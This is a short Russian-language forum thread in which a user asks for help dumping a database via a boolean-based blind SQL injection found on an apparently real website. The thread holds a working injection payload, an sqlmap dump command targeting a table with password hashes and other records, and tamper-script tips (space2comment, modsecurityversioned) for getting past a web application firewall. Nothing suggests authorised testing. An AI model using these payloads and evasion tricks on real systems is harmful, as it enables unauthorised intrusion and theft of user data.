SQLmap возвращает NULL

[winitu]

Привет, есть инъекция которую раскрутил через burp suite через boolean-based blind. Знаю таблицу и столбцы в ней, хотел использовать sqlmap для дампа данных, но возвращаются все строки с параметрами NULL:

Команда в мапе: --url 'https://www.site.da' --data 'customer=-1 OR 2&submit=Senden' --method POST -D base -T table -C id,hash,data,psv,name,valid,completed,date --batch --random-agent --dump
А вот данные запроса в burp'e: customer=-1 OR /*!case when ((SELECT SUBSTRING(GROUP_CONCAT(id,hash,data,psv,name,valid,completed,date),1,1) FROM base.table) = '1') then 5 else 0 end
*Так посимвольно я и узнал, что таблица не пуста, но почему возвращается NULL непонятно...

Помогите советом, что делаю не так((

 

[Exited3n]

Привет, есть инъекция которую раскрутил через burp suite через boolean-based blind. Знаю таблицу и столбцы в ней, хотел использовать sqlmap для дампа данных, но возвращаются все строки с параметрами NULL:
Посмотреть вложение 71135
Команда в мапе: --url 'https://www.site.da' --data 'customer=-1 OR 2&submit=Senden' --method POST -D base -T table -C id,hash,data,psv,name,valid,completed,date --batch --random-agent --dump
А вот данные запроса в burp'e: customer=-1 OR /*!case when ((SELECT SUBSTRING(GROUP_CONCAT(id,hash,data,psv,name,valid,completed,date),1,1) FROM base.table) = '1') then 5 else 0 end
*Так посимвольно я и узнал, что таблица не пуста, но почему возвращается NULL непонятно...

Помогите советом, что делаю не так((

Добавь --tamper=space2comment

 

[winitu]

Добавь --tamper=space2comment

Спасибо за совет, уже решил с помощью --tamper="modsecurityversioned.py"